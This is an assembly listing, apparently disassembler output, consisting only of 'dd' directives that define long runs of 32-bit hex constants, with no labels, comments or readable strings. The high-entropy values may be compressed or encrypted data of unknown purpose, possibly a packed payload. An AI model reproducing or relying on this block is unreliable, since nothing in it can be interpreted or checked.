		dd 0EA3A13BEh, 125FC48Ah, 0CFCFFF8Ah, 0A3C8F94Fh, 19B64468h
		dd 37320ABFh, 2AAC0A7Fh, 87661CC4h, 0D468C4D7h,	57A4EB22h
		dd 6F403FBDh, 0E4EF319Fh, 50026309h, 0DC52E12h,	5DF887C5h
		dd 216E02F2h, 0E8D1661Ch, 254340DDh, 0D05356B2h, 0FD08BDBBh
		dd 7CF23282h, 68F560E9h, 4AFE6810h, 2C968F64h, 6801135Eh
		dd 11676F2Ah, 5891C03Eh, 61E5E70Eh, 0FF1FE87Fh,	0F54F4228h
		dd 0CD6D081Dh, 0F7ED84FEh, 2AC15613h, 7C66D1A4h, 0B52D5B40h
		dd 72D52Eh, 0B71D2A6Eh,	0A02FE912h, 4C61D6FEh, 0C3BF0206h
		dd 939FA1Ah, 630A07F4h,	5560BE2Fh, 3F7B4C68h, 671261D2h
		dd 0B4A9F8D3h, 4B2633C1h, 0E23EFC4Dh, 0C605926Fh, 37AF5D1Fh
		dd 0ACD48455h, 0A2AFF58Fh, 0A553C4F1h, 0F1038710h, 29BA1097h
		dd 3F765DE2h, 0A313AC1h, 0C4850A2Eh, 685B85BCh,	82F5D54Bh
		dd 0BE004E78h, 0C4931B69h, 0AA7E5C4h, 64895A58h, 0F7105D9Dh
		dd 0AC256E8Ch, 8937E09h, 0B90949D8h, 0C100C28Fh, 2055519h
		dd 3762E6FCh, 0DFC1DE80h, 0C51632FEh, 0BCEDCD29h, 321269Eh
		dd 1BB45A4Ch, 0C9FFE9D9h, 4AC53EF2h, 0E90738BAh, 98A43637h
		dd 0C2D82863h, 8422F5D3h, 0BE61D989h, 9AA052Dh,	0FD7923E8h
		dd 7FF1C580h, 4B01619Fh, 32ED98FDh, 0E6313E2Ch,	7DA6850Bh
		dd 4D5D6B19h, 53D76044h, 0F0609CA0h, 80288982h,	171380B4h
		dd 9520980Bh, 0D1DDF242h, 0C3DB62D0h, 6CFB4CA9h, 0BA6EE984h
		dd 579C8B0Ch, 0A29F6390h, 619EC25Ah, 0A57E5BEAh, 0E9080169h
		dd 2609DF1Eh, 551C5721h, 0FDA8B6CEh, 2601B850h,	0E93A237Eh
		dd 0C00087A1h, 6F008EAh, 54B74570h, 4ECE4D9h, 8BEAA927h
		dd 89985EA4h, 5689B8C8h, 5D3424C9h, 7791EB89h, 0D781D0A7h
		dd 0D83BCCE6h, 108F212Fh, 0C33B99Eh, 0BE6D6401h, 996B609Ah
		dd 0F683D06Ah, 0CAB82540h, 49CCE4EDh, 0DA61F030h, 5B96F466h
		dd 5AF7FC26h, 3D8C50EFh, 49A0C5C4h, 634AEAh, 3857E4AEh
		dd 3D18C267h, 0FBD4DF7Ch, 1C340848h, 78E91402h,	89CD90FAh
		dd 18342D1Ah, 5803A489h, 1E28DF0Eh, 0C45EEB51h,	0E9C243F6h
		dd 0EA748FAEh, 0CC11D582h, 8922F975h, 307F54FDh, 9B0CA78Ch
		dd 36792788h, 4EA9EF13h, 0E9F70103h, 8A3FDAA5h,	0AFF5025Ch
		dd 0C26F8607h, 0FC34DD09h, 0D7D5BE00h, 8BE943CFh, 4920CA7Fh
		dd 9BDF02B3h, 0BD5A057h, 876DE1BDh, 841AB37Ah, 0AF169B3Fh
		dd 77DA6A09h, 0D44EEA98h, 438E97DFh, 572D1C36h,	7E28F914h
		dd 0FD6B7D01h, 5842FE06h, 8D402AE9h, 0F0F97D29h, 121713FAh
		dd 0BE140D53h, 27EAF56Ah, 0FD445A47h, 5E0EBA43h, 8D2B68C5h
		dd 4E9BF887h, 38D6DBB5h, 52751931h, 0B9F250E3h,	2A0B60F0h
		dd 82D9F75Eh, 8201C182h, 0DFC9444Eh, 965FDD12h,	558026A0h
		dd 6E506D0Ch, 0BA6352B0h, 40B681B0h, 5C2846DDh,	0E351E713h
		dd 0A6F55B34h, 526E49F5h, 5F5406FCh, 0C6FA296Eh, 54E45113h
		dd 88950EAh, 4403CF40h,	79FDD3Dh, 1A077CFDh, 24D0D86Bh
		dd 8F76EBB6h, 0C8C769F2h, 24CA606Fh, 4560F36Ch,	7622C418h
		dd 10B90571h, 0FB066F09h, 0DD05A695h, 0C8B8BDE9h, 45F3502Dh
		dd 0EDAFE961h, 0D5F66C80h, 0E668EA86h, 55F3364Bh, 0DD50E82Dh
		dd 0E977F306h, 1249421Bh, 1F4A01EAh, 2C3CC1C8h,	20D331DFh
		dd 0A940E1A0h, 4DF07721h, 0C109511Ah, 735406EEh, 6E99C681h
		dd 74283B07h, 4D83116h,	0A3602DA1h, 0E83252Dh, 169116E8h
		dd 0F93F99CBh, 29708B6Bh, 2C53DE57h, 7FC9006Ch,	2057E78h
		dd 150E3112h, 59266EE2h, 2DE71FE3h, 4E8BE1D9h, 8179449Dh
		dd 4F285CD4h, 0C9D0301Dh, 0AC7AA759h, 0D10D1D09h, 5D7AB277h
		dd 178990D1h, 2D894B98h, 0EEF85F24h, 0C02E4F01h, 5BDF211Eh
		dd 485FC06Bh, 624EAE7Fh, 0CA0218F9h, 299416D1h,	0B7BA1D00h
		dd 0D588BDEDh, 57123BFFh, 0EFBBC37Ch, 0D3096E10h, 0BA82AA4Ah
		dd 1192A939h, 162E06C4h, 799DAF08h, 162B9CF9h, 7A3DAEF4h
		dd 5C093524h, 0DB2AE6C2h, 0C156BFBEh, 31F03A39h, 515608C6h
		dd 65C4EB20h, 0FA298F1Dh, 2AAA0716h, 16609D3h, 747940EBh
		dd 41D3980Eh, 0D52B20B9h, 5BB6204Fh, 2015D411h,	4BC6A30Ch
		dd 3C6DFB12h, 0B47DB87Fh, 0AED325EDh, 578E1C44h, 307B912h
		dd 0B9F0F188h, 0BCF5F731h, 20130EAFh, 84A1FC97h, 0BDD82D49h
		dd 4A36B20Ah, 52DE947h,	0ACC6A5FEh, 0D2415681h,	0EAA40005h
		dd 0D7E6F905h, 0F1D32927h, 3CE26B78h, 6EA9B57h,	0F2552DDCh
		dd 70EA0C32h, 198620h, 2AA4659Dh, 0DAE9DE31h, 0F273BC5Eh
		dd 71EBF258h, 7468846Ch, 2131BF08h, 68531869h, 616FE35Dh
		dd 0CEE9A108h, 31F835F3h, 4A2C22C6h, 97F69EFh, 0AA9A5406h
		dd 0E9C3D9A2h, 0A4BA830h, 0C97CF6CDh, 673C1E15h, 0E10D0B92h
		dd 6EA72D11h, 787EFBA3h, 88219307h, 3C905519h, 84145F25h
		dd 12886813h, 98105FB3h, 0B5B01769h, 5AB981AFh,	28742080h
		dd 0A2A18E9Dh, 754EAD68h, 3D402D1Ah, 772AE9D3h,	68043B37h
		dd 39F82DA1h, 0E7805BFDh, 2E195628h, 0DD16E913h, 5FC2A3A9h
		dd 0BCC2E3D1h, 0F6218B5Fh, 4CF7D278h, 0EB535EECh, 8F7F4329h
		dd 80345FAAh, 5CCB9CEBh, 4C4A687Eh, 834C96F6h, 0C3A11E25h
		dd 20EE81CEh, 3D7D48B4h, 0A1E7EF27h, 8F5A55CEh,	6ED23088h
		dd 9C1E5A3Ch, 20AD324Bh, 0F694B05Eh, 34F2C2D0h,	33FF88F4h
		dd 88E3EA2Fh, 0DA01D4B9h, 3BB3535Bh, 55920271h,	1EF0EE51h
		dd 89592549h, 0BB616B0Eh, 892EDB69h, 10624780h,	83ABE31Bh
		dd 0E7CA2602h, 406E5D56h, 2647DCCEh, 2C96743h, 600A78AAh
		dd 0F1FF78C2h, 7AFAAA54h
		dd 9DCBACBFh, 3A2C802h,	55CC1A7Fh, 0D9246459h, 31FA7613h
		dd 2B21F371h, 6FE92AD8h, 0F1E5432Eh, 0BB0F533Bh, 2752508Ch
		dd 5078E9h, 589DF9BFh, 5D81FA91h, 14D1813Fh, 3CA27FF0h
		dd 60BF9240h, 0DCC6416Ch, 83B8481Bh, 4D452A09h,	0EE805526h
		dd 3DC455E1h, 0CDE94F09h, 6ADE912Bh, 9C29166Fh,	0C9415530h
		dd 0C24B216Eh, 0D91D8BE4h, 6CC62995h, 4E75B067h, 8286D41Ch
		dd 0E40CF4C2h, 13615C3Bh, 87A0E46Eh, 0BBE91B68h, 5ECA859Fh
		dd 16DFAEF8h, 0EE7B52E8h, 5D9FAFD0h, 0B0094F3Bh, 0B027E4DCh
		dd 0E11F197h, 0FC377CE9h, 8468C25Ch, 24804625h,	2B05D54h
		dd 4EAB1E6Ch, 2D42FFB2h, 66AAF940h, 2DFCF89Fh, 0ACCE922Fh
		dd 0C1375C95h, 0EC6A031Ch, 0E970DA29h, 0BD1AAC60h, 0FDA43339h
		dd 1473743Ch, 0BB951D0h, 30E4E84Bh, 3D9E145Ah, 0AABB074h
		dd 4D33BAE1h, 680C0CF8h, 0FE48F165h, 6025322Bh,	38B5A6Ah
		dd 69C071D7h, 0A5EAE2D1h, 51971250h, 21BBC4DBh,	42AC28F7h
		dd 0F2923B6Ch, 5F79B341h, 2568FCB4h, 0FBF10447h, 0F817D582h
		dd 25C7D628h, 41E54A50h, 254AE90Bh, 2A102148h, 975596D8h
		dd 3B5109D6h, 0FE4DBE34h, 3EBB7AF5h, 0BE1336B1h, 0AB4020B2h
		dd 103BC420h, 0A6F6804Eh, 177BCC7h, 6C0498F2h, 2D1CCB97h
		dd 41C2C81Eh, 5D86DFCBh, 18D60032h, 0C267762Dh,	1015490h
		dd 4B6057DEh, 0BFF19EECh, 13595086h, 0ED090C02h, 6A6F5539h
		dd 0A6080F12h, 94617CDEh, 0C3FC2748h, 4F4500ACh, 0EEE132E4h
		dd 92859FB2h, 8287655Bh, 475F96FBh, 90BD0370h, 7A260956h
		dd 68868006h, 0E03B4FC7h, 6B53B637h, 25625C00h,	64B84FDDh
		dd 3CC4DEB0h, 0A2AC070Eh, 0F62B54C9h, 0FFC29EC5h, 26B7A93h
		dd 143B2B7Fh, 9974D9F7h, 75E4F182h, 0EA89822Dh,	0FB8A0B89h
		dd 63F203D8h, 906956FDh, 0FC080204h, 0D77B0BDBh, 44FD4309h
		dd 7D68187Fh, 0ABB51B64h, 0F76924B9h, 83FC8C42h, 27E5F408h
		dd 4EA3A7Dh, 31AF699Eh,	68D76A33h, 8A02D639h, 46179368h
		dd 9577950h, 153C630Bh,	0F19B2E90h, 40904AB7h, 25897054h
		dd 0EA57640Eh, 0DFA9848Dh, 0AE4A82ACh, 4720A8DDh, 0C1326329h
		dd 0D72C7EF9h, 60098EEEh, 0B1B250BBh, 0AA8AB5D0h, 0EFA01E17h
		dd 8FBBD22Ah, 305C1F03h, 65665D65h, 77A5B42Ah, 4D8AD1F1h
		dd 28C21987h, 86704944h, 3B2FFEE9h, 0D0AAD186h,	95590A5h
		dd 729C276Fh, 0E3B57D00h, 29065624h, 0C3F5E9CFh, 5E687B51h
		dd 63268C30h, 3A115C00h, 40E5BE56h, 0F7521CCCh,	4ED68CDEh
		dd 0A2AE90Ah, 3590ED96h, 0A12F45A6h, 0A8626892h, 652A092Ch
		dd 16F4FE89h, 1EABD10Ch, 29D2972Dh, 0E3B86FF9h,	0BE1DAC30h
		dd 0D7312C62h, 0CF0D326Ch, 6882D178h, 796C208Eh, 0C92EFA09h
		dd 24A2F812h, 3BF50657h, 5701AA4Bh, 74E16BBBh, 6F07897Eh
		dd 82A42DE8h, 0D17DD769h, 0BD5560E4h, 39017F2Ah, 0B365B90Ah
		dd 66781C91h, 0D400A45Ah, 0A205F45h, 4B35FC56h,	9688E987h
		dd 4BAAD5BEh, 9001DFB4h, 411601A1h, 2AB1ACDCh, 0BB970EA2h
		dd 490DF662h, 0F44254B3h, 0E6EB23DCh, 89BA68B8h, 565A9Fh
		dd 25156F94h, 0FF204A2Dh, 7D141C5Ah, 0EA570605h, 703ABD66h
		dd 37DC26B0h, 4B1B10D5h, 0A7AC5AC4h, 0E4502137h, 5880D18Fh
		dd 74B02A53h, 0C917171Fh, 612CE032h, 1ACA790Eh,	1CBBAEE9h
		dd 26F5E727h, 94DD2F18h, 36B0A056h, 9D9B7379h, 88186DAh
		dd 50B22E5Dh, 27AAE982h, 0DB09044Ch, 6B7347h, 0CC3DA25Ah
		dd 0CF58900Ch, 8D62B4ACh, 436029CDh, 5E819910h,	3116F676h
		dd 2D2ECAC6h, 0CCA85C56h, 96BA2D7Dh, 6C38B900h,	0CA294E25h
		dd 87D9559h, 0BA340B09h, 92DE6F91h, 0F2805800h,	31EC355Ch
		dd 5FFAC103h, 6AD471h, 2DD0F73Ch, 83274A0Eh, 3554E026h
		dd 1F561602h, 3213BF64h, 985297A0h, 17E75A37h, 0E9E744Fh
		dd 0EAB3FDDBh, 0B4AEF61h, 240FE05h, 3337612Eh, 59CE2709h
		dd 4E288EF8h, 6801F251h, 63C278F0h, 0B3E77E9h, 0CB715CD2h
		dd 0A3BA8B3Ah, 0ACCD02ADh, 93465F5Ah, 5FB620F2h, 75A26804h
		dd 8E51B1A2h, 77237E21h, 0D466BF4Fh, 62FB9717h,	7DA715C2h
		dd 0DEE3AB18h, 0F031A1C4h, 4D30E8D9h, 0B2DCBAAh, 5925EC14h
		dd 3CB55931h, 1F6D1710h, 0E6A85A51h, 7D3C900Bh,	0AF28097Ah
		dd 0E396412Ah, 2820782Fh, 0F49AD25Ah, 50EC0147h, 0AB2031B0h
		dd 0D88927EEh, 0E9240E1Eh, 689F4663h, 0E7A36912h, 0CE9EBD00h
		dd 0BFE9F9DAh, 50C69459h, 3A3A0FEDh, 52FFCB47h,	0C9060A5Ah
		dd 9C0269F5h, 9455F71Eh, 41DF4DB1h, 0BED75C4Ch,	663C3718h
		dd 68F10EF7h, 0AE124223h, 5206FD8Eh, 47BD3DE9h,	0DC603AECh
		dd 4BC8BB0Ch, 2F797A7Dh, 8F4DD68h, 114464EFh, 426A89FAh
		dd 7ADD97E1h, 5B809A82h, 0F6BFBC58h, 0CE3E306Ch, 55C0BD26h
		dd 61176727h, 0F36C855Fh, 0D81BB01Dh, 874F59EFh, 0D1F7CF00h
		dd 595F5157h, 9F5CB047h, 0E205DC52h, 71B37B55h,	41458DAFh
		dd 2FA36E50h, 94D09DB8h, 0D934A121h, 20A7F304h,	998F31ABh
		dd 4BB33FC8h, 1FE9688Eh, 0E94EB07Dh, 0BA3E40E8h, 0E4363F17h
		dd 4AD2C204h, 16073588h, 0B4C48708h, 5800F1EEh,	89197577h
		dd 4E8AE9CDh, 7EB28EE0h, 0F590574Fh, 2F534BEDh,	4DDC4423h
		dd 8E9E08A0h, 5C07E958h, 0BDEF3BDh, 9CF5902Fh, 985E5017h
		dd 773B4F8Eh, 9421B4ACh, 1933C036h, 3A7ED48Ch, 30BF01ECh
		dd 0A4F11072h, 0C3704A37h, 0D2F14382h, 7D3C628Ah, 20D7CA25h
		dd 2126C3CFh, 5F662498h, 0F1BD1221h, 92F36B8Eh,	41DBE9C2h
		dd 50B02BD7h, 0C9ABBC2Dh, 3560E2F1h, 9E2F654Ah,	39ECCBE1h
		dd 814AE02h, 40EED169h,	28203EDCh, 7B42874h, 2B71059Dh
		dd 0FC5DE521h, 25170230h, 0CB41E97Ah, 52340723h, 0B768271Ch
		dd 86D28932h, 1EC1E6C0h, 9F583401h, 277ED09h, 0A7AD54A1h
		dd 5372508Ch, 0FA0102D1h, 755AC976h, 51408871h,	47EC2B9h
		dd 89E96FB8h, 4CEAED02h, 4DD23A47h, 1E8710DFh, 0C21F49DFh
		dd 8049B85Dh, 0F68901E2h, 53CAFED2h, 0A4DDE2B7h, 4FBA4F5Eh
		dd 9E1E86B8h, 0B5F7C91Eh, 13D63304h, 0EF4228E1h, 94637A1Ah
		dd 66A200ADh, 0A56846ABh, 20E95F40h, 5BF5622h, 6AF0C56Ch
		dd 8BCB5028h, 0C31A954Ah, 2AC83191h, 0FEE916BFh, 6CEE0DC5h
		dd 7A41C202h, 0C0B6E2F2h, 9F59CDACh, 0AF7BD166h, 8180E55Bh
		dd 303FB450h, 0F406CC80h, 0E9FC28DEh, 0C8380627h, 81E0AFECh
		dd 0B4A27A58h, 9F47E9C2h, 53B8F3F2h, 11848BBDh,	852AED38h
		dd 0E87CB544h, 0DBF780F3h, 0D408B6E9h, 0FD5C2914h, 0DF874AD4h
		dd 30EED7A4h, 0F3BB5365h, 7CBC7F12h, 80112B00h,	0BD018343h
		dd 475552BAh, 0D4E904A6h, 5109E9D7h, 3CF43F64h,	5FF85C29h
		dd 72B77960h, 5817C728h, 0DCB2F930h, 16C1E4C4h,	1DF0CC00h
		dd 7D314E56h, 59EE25D7h, 0BFC49A3h, 0ACFB3113h,	0C87F8497h
		dd 0D8300001h, 6B886866h, 6B9CA6B8h, 6658C18Fh,	273F3B0Ch
		dd 0A9E8A42Bh, 2137A95h, 191E5553h, 17E4C741h, 0FD2E788Ch
		dd 0DF4E7468h, 1CC7F22Ch, 67216D09h, 8BE18FAh, 2A77BC8Ch
		dd 0B069EC80h, 3A5F20C6h, 0C4F83124h, 463BEE07h, 0FC42435h
		dd 0C5002F75h, 1446580Bh, 0EE300ABDh, 9EE10A7h,	0D8B5613h
		dd 54A625Fh, 73835908h,	0C1DB01B4h, 0C0FAEA5Ch,	5E552029h
		dd 351E4CBh, 85A62FD5h,	5B2BCBBFh, 1B1226B2h, 553DFA58h
		dd 0E9B49C2Ah, 31705A2Fh, 0A4CA03FFh, 0A4E25420h, 0D557914h
		dd 45106493h, 0FCDDE932h
		dd 5F24E18h, 0C33DFE96h, 0A76AC3E5h, 0C0C3C50Fh, 3A872DFAh
		dd 47A43F30h, 68440A90h, 69CA4DB3h, 492F1177h, 3C78B9C7h
		dd 151E23Eh, 66A8C981h,	808034F2h, 236E860Ah, 774E52E9h
		dd 71F8FE39h, 6FB39C51h, 3F8D7C01h, 28C7FCBEh, 6220F5B8h
		dd 0EA6827C0h, 0F681D0F8h, 22D07B24h, 4A8D1BC8h, 7D8A423h
		dd 0CF091FB0h, 6FAF1Ah,	9467EF25h, 0F3C89F41h, 6681244Ch
		dd 253E1D3Eh, 4AEC4858h, 1352A7Bh, 4AA0E74h, 176FE8F7h
		dd 91682080h, 0ED7EE111h, 0E12CD8BCh, 102D809Bh, 3C0B0F13h
		dd 791C3301h, 57654689h, 0E3C3442Fh, 0A06802B8h, 60ADDE75h
		dd 138F5A22h, 4B58E9A0h, 19DBF72Eh, 2C745303h, 0CE0C0417h
		dd 3607E0Eh, 1D554E03h,	0DC1BC618h, 8855E772h, 5B16085Eh
		dd 25DDC2A9h, 7B816DFh,	28F57502h, 2FCFA52h, 17A504B3h
		dd 0F74142FDh, 0BEF25AA4h, 5A58632Ch, 0C43DB25Ah, 25982B64h
		dd 8877405Eh, 0D9DEE2DCh, 72963889h, 4D170C15h,	24DE4695h
		dd 425D7214h, 23AA37C5h, 0CC213060h, 0CB0112B8h, 0C9A36759h
		dd 847A57Fh, 0F06E04BAh, 44BB357Eh, 939F620h, 6544D75Ch
		dd 0AA954F20h, 83DF0F25h, 0F22DAD99h, 0F7B4C8C6h, 0B42FC41Ch
		dd 0CFBE1689h, 27B54C29h, 39165DFDh, 0EB4EC4FCh, 5C9621FAh
		dd 281E6030h, 0D3CFF358h, 2FCA28EFh, 6B202941h,	503D07BDh
		dd 194D5FB9h, 0AFC7EC00h, 1BFA046h, 0B5D5E96Bh,	289A387Fh
		dd 5A2CD803h, 8474E168h, 0B585A2FFh, 0A98A85B4h, 0D83831EBh
		dd 9239910h, 1A712068h,	0D916552Ah, 12D45E27h, 2713D078h
		dd 0DC1C9723h, 22F38102h, 0E035DA60h, 803AB81Fh, 8827D3F6h
		dd 0C619FDDDh, 35C23B50h, 1DD07240h, 307E9768h,	0A0B05091h
		dd 58C2880Eh, 5BE9222Ch, 0AF918E9Fh, 99EF93CBh,	80BC3A8Eh
		dd 3062E9CDh, 3FE13EB4h, 43A1F9ACh, 0FE680098h,	1A42F5Ch
		dd 8BFABE41h, 7049E90Fh, 90B904ABh, 0C02E8E57h,	871965A0h
		dd 4CF6FEF1h, 25084A08h, 0C75F99D7h, 4BE9CE05h,	677A4DEAh
		dd 3A5C35C9h, 48A5C93Ch, 62D48D0Ah, 7A2BFF5Eh, 9EA9E90Ch
		dd 2DBFC51Dh, 507B0C74h, 0D510D380h, 0FBA3B8Fh,	46E85A0Ah
		dd 954BAFC0h, 53A88057h, 2D80F6B7h, 7750ABE7h, 284AC709h
		dd 0F4E8F7F8h, 0B5D1E9h, 7790BBEDh, 5644016Eh, 6A65AFBEh
		dd 64AF4037h, 2091762h,	0DA46DEF7h, 13F67E05h, 0EC946FA7h
		dd 0D80273B2h, 0A06CE12Dh, 34D6573Eh, 0EC79C35Ah, 0EA9B34D0h
		dd 5F71448Eh, 9F392FE9h, 45765140h, 0B41D5BD2h,	754BA49Ch
		dd 48A2C78Ch, 0E9B11945h, 0B93A34CCh, 0FD494D05h, 55910973h
		dd 80000CECh, 0D89F1EF1h, 90E17343h, 4ACF2F70h,	68E02FBBh
		dd 33AB6589h, 0F27757CAh, 0C62C2FEFh, 4581FDEh,	2CC6A11Fh
		dd 75C880D2h, 90B45051h, 8EFE58B7h, 76580118h, 0D495A720h
		dd 0D417428Ah, 16F28100h, 6DF12450h, 0ABEE0058h, 0C229AD88h
		dd 97157CB7h, 0DF2C0404h, 10A0B33Ah, 0B307DA59h, 2CF380A5h
		dd 70BD2206h, 0BF0F2704h, 9FE0A20h, 45712C99h, 0F25A3BFAh
		dd 261370AAh, 764C132Dh, 1B2F04DEh, 0A5A80B55h,	6E0A0B7Ch
		dd 8553604h, 122C07A3h,	0BE614A00h, 7F18131h, 22196995h
		dd 881B84E9h, 0A61EE881h, 7DC9E57Eh, 1286ECFCh,	0F35AA468h
		dd 160A22E5h, 51E8305Bh, 17DFBA10h, 68BD60C3h, 0B19454D5h
		dd 8D7E3A60h, 0DAE91B6Eh, 0CAD01AA3h, 54519851h, 1640B4C6h
		dd 9682A3FAh, 0E9A898EAh, 0BA8BFA32h, 8DE5DD5Eh, 8CEE5C17h
		dd 0CB5468F8h, 0C409F7AFh, 0FD8C79B1h, 43A5950Fh, 65552139h
		dd 2020CD35h, 1F0B06C4h, 0C229641Ch, 7908095Ah,	0BF5742C2h
		dd 4C5C6BF7h, 214A145Ah, 62D9C123h, 310B1EC5h, 0DBA54D26h
		dd 58C60BBFh, 305F6DB2h, 80BD4D75h, 101FBBBh, 0DE29051Fh
		dd 0B26A895Bh, 25C74800h, 53B67E36h, 80A093E2h,	0AC30F0EEh
		dd 95E0385Ah, 173C927Fh, 1E21B2BDh, 0E1D493C0h,	0ADA06E4Bh
		dd 291012CAh, 893C1F72h, 0EE57A121h, 92DE2DA6h,	0BAB4AE6Eh
		dd 7AB9838Bh, 9EEE0CC8h, 0A6AA476Dh, 77B59A40h,	0F6505F39h
		dd 0B0791330h, 0F68F90EFh, 8E9A8643h, 0C258909h, 0A0765E62h
		dd 141CD008h, 0EE588365h, 0E90B06E7h, 0DBD662A8h, 58B6F273h
		dd 96BF0413h, 0FB2E6AB1h, 0DAF7D402h, 0F5DD614Ah, 0C52D9680h
		dd 89E61EC2h, 3916E09Fh, 5EDE97F6h, 0D4689C83h,	6AB5E23Fh
		dd 6874559Ch, 886C281Ch, 2B2C3808h, 0B5729A3h, 4AD66D13h
		dd 8773197h, 59F0F3FEh,	80D59559h, 5B6DA6DCh, 98FAAC76h
		dd 0CF86385Ah, 0D2A3E25Bh, 0CFEAE4BBh, 7F8BB55Ah, 0DECC5325h
		dd 69BAE970h, 0D15ABA9Dh, 0FD64A1Bh, 162F0D11h,	0D15F586h
		dd 679717B0h, 0AFAEBECFh, 0AB7FA5EDh, 9F60DA7Eh, 1188D882h
		dd 6052E856h, 0C99A2C2Dh, 0F7DE403Ah, 9B47039Fh, 0EEF45668h
		dd 0AC0F4EFCh, 0A044D830h, 30D9CD46h, 48544933h, 0B5045109h
		dd 2E09E991h, 7E838EAFh, 17AC8220h, 0FE20762Dh,	5D07605h
		dd 0D2E90705h, 0D21FE253h, 22705E03h, 5F902573h, 6FD361C9h
		dd 0E13BCAC9h, 3B0148A8h, 0B68C040h, 60225C8Bh,	9E2D100h
		dd 774EC315h, 9BF998Ch,	67D810D6h, 3AF66F80h, 0CC10577h
		dd 7A9BF5D3h, 3FA1C76Ah, 0B6AB813h, 0F5330F70h,	661CB80h
		dd 0EFEC444Ch, 0EB1C630Bh, 2C155821h, 0ACA843EAh, 53F801ACh
		dd 6EC08AB3h, 4B3A60B0h, 0B0F3E4BBh, 3C75C713h,	0F3FA13EFh
		dd 92544A86h, 752E697Ah, 4700EFABh, 0D509053Fh,	7D24EAB0h
		dd 68856AB8h, 0C73439A7h, 0CBE9180h, 0F24B4FB6h, 65AB5B34h
		dd 0CBF3FB1Ch, 1E6851C3h, 2C56CBE5h, 86CC2A59h,	618E4199h
		dd 0CB4ACA78h, 0BF13CCD7h, 1A20864Eh, 34619783h, 9331FD3Fh
		dd 4DC842DAh, 0F8C117B5h, 8C9CF0AFh, 0DA3D4C5Bh, 2102848Bh
		dd 0E3800272h, 5A19E4E6h, 61222B9h, 0C92F2489h,	4EC34475h
		dd 1379BD30h, 0E88C233Ch, 7D6E12C6h, 0A102AE34h, 56F613DCh
		dd 14AA01F0h, 20317227h, 0B94F8543h, 58ADFB61h,	0D4136C76h
		dd 7FE2C999h, 0B1B2C1C7h, 4024FC10h, 9749DF2Dh,	90051600h
		dd 6803B066h, 8D515EEAh, 4906F809h, 26CABAF5h, 0F74B66C4h
		dd 966CE6E0h, 0EA91FE9Fh, 80302F2Dh, 0B980C978h, 5E2B0295h
		dd 5BD93139h, 7A2927E1h, 9AC5824Eh, 0D536103h, 4242313Ah
		dd 0F1D7C2BCh, 138A819h, 11907163h, 5862BC68h, 7910CAA8h
		dd 0F30273A7h, 400E4F14h, 2D8DE455h, 546044E9h,	68EE122Ch
		dd 1B0D39FFh, 0A47B6602h, 0E7814294h, 0A86281F9h, 0A53136C5h
		dd 0ABC0F748h, 33587E4Fh, 73B7791Ch, 37B6BD19h,	8D0C96A9h
		dd 0C11D35Bh, 0E16133C2h, 3A81C318h, 0E2DFEA36h, 48605DD5h
		dd 0CB25E941h, 0C949D44Fh, 3905C9F6h, 0D6E85F51h, 0B5E2912Ah
		dd 5F7FFE14h, 6F9BFB2Eh, 167CED9Eh, 22278615h, 628F74E1h
		dd 9135C431h, 0D749F73Bh, 3EFDC28Dh, 808C53D6h,	0B93DB42Dh
		dd 0C54A0102h, 5D482CABh, 0F42C7869h, 6AA9596Fh, 4E03AF1Fh
		dd 0A32CF828h, 0AB45BB5Bh, 0EFD0CB91h, 77277E4Fh, 63B16518h
		dd 62206EE1h, 80B8D8E9h, 40B4D188h, 55CEDA53h, 5A9330DCh
		dd 5CCA6ABCh, 0C0BF80D9h, 314FA22Bh, 0A295A9A4h, 0D57BB66Dh
		dd 9B4EAAE6h, 0F835A200h, 902D7C1Fh, 0B5C6F8A2h, 0A361CB22h
		dd 20E27809h, 0FF8087FCh, 0CE2E5BC7h, 72281A6Bh, 0F9290881h
		dd 6E1A7158h, 4DD42088h, 3405B3B2h, 80571155h, 0EEAAD07Fh
		dd 0FF29A825h, 0E041B6B2h, 47BD00C0h, 30710B43h, 2204D5F7h
		dd 52A8185Bh, 8D54BDFBh
		dd 9FA565CFh, 0F15F28BEh, 23EF824Fh, 3D50C259h,	535F95EEh
		dd 0D027D730h, 0F5801FEDh, 0F0D9D7E2h, 0FE9D504Ch, 0B649F3D4h
		dd 0E1C10B72h, 0CE070005h, 9DF9F578h, 0CA31FF02h, 0BA9EC6F0h
		dd 0CBBB3317h, 4554840h, 78533F6Dh, 365107FAh, 0C3A8619h
		dd 0B96C4613h, 2AF71905h, 31B10280h, 3D149DF8h,	0E0D30DC5h
		dd 5B2F8109h, 426885BAh, 0C196B83Eh, 0D4F0E967h, 5828A93Ah
		dd 9A8A2030h, 3FBD3E3Fh, 0D10C5CB0h, 0B535B0A7h, 3E82DE89h
		dd 43046C4h, 840FC90Bh,	2EB0B808h, 2FCAB454h, 16B44408h
		dd 2ECEEB5Bh, 3042C700h, 466649C0h, 7CE9531Fh, 0A917F67h
		dd 0A893318h, 71E78804h, 3CAC6644h, 0C7300283h,	800F893h
		dd 0C0CAB753h, 0E68005EFh, 0CFFE36C6h, 0A5901404h, 5E2FEB25h
		dd 2F1252D2h, 4843945Eh, 5DCB048Eh, 0FC546C68h,	751CB3Bh
		dd 6B177A87h, 5382CFA4h, 84507B84h, 0EB712C68h,	6467C68Ah
		dd 1CF2F053h, 5B044015h, 71E9FB87h, 0C0E744FBh,	855AE204h
		dd 0EC978BE9h, 0C875C69Eh, 5FE50573h, 0B373314h, 62040EE2h
		dd 1280BFCFh, 0B8E2C142h, 62F026C8h, 7ECDC316h,	36844C4Bh
		dd 0C25C90FFh, 6274F09h, 0C0ECC2DDh, 2764C95Ch,	8022679h
		dd 75B3577Ah, 41D11D9h,	7C812BFh, 224290ECh, 35602138h
		dd 10A13732h, 670F2408h, 8C1B24Eh, 51238247h, 0A3C45C27h
		dd 0A3C4924Ah, 7EB6A7BFh, 18BD192Ch, 0DFA86240h, 77C1BF82h
		dd 0EBC74846h, 2B61B404h, 0B0AA5930h, 0C35F9ECBh, 232A6244h
		dd 6DA6B800h, 29283C7Bh, 0F72CB0C6h, 78C0EDB7h,	0CF2A0471h
		dd 1D704F36h, 72CDDF09h, 873A0FC5h, 4F033F4Fh, 0CEB0682Eh
		dd 0A9985888h, 3700F6F8h, 1D0D6FAh, 4555EF1h, 9C288968h
		dd 0AAF1EF9Fh, 2D39006Bh, 0C563B5D7h, 263DF9B5h, 84622FE2h
		dd 0D8AFF657h, 844BAAE9h, 61107716h, 9CE18092h,	981CCC4Dh
		dd 19B80947h, 9F778D7h,	0D221DDFAh, 0EA911F1Dh,	6F446B69h
		dd 56ED0940h, 0FCCEAAD3h, 5A41FAEEh, 900A24AEh,	3E3B5A9Bh
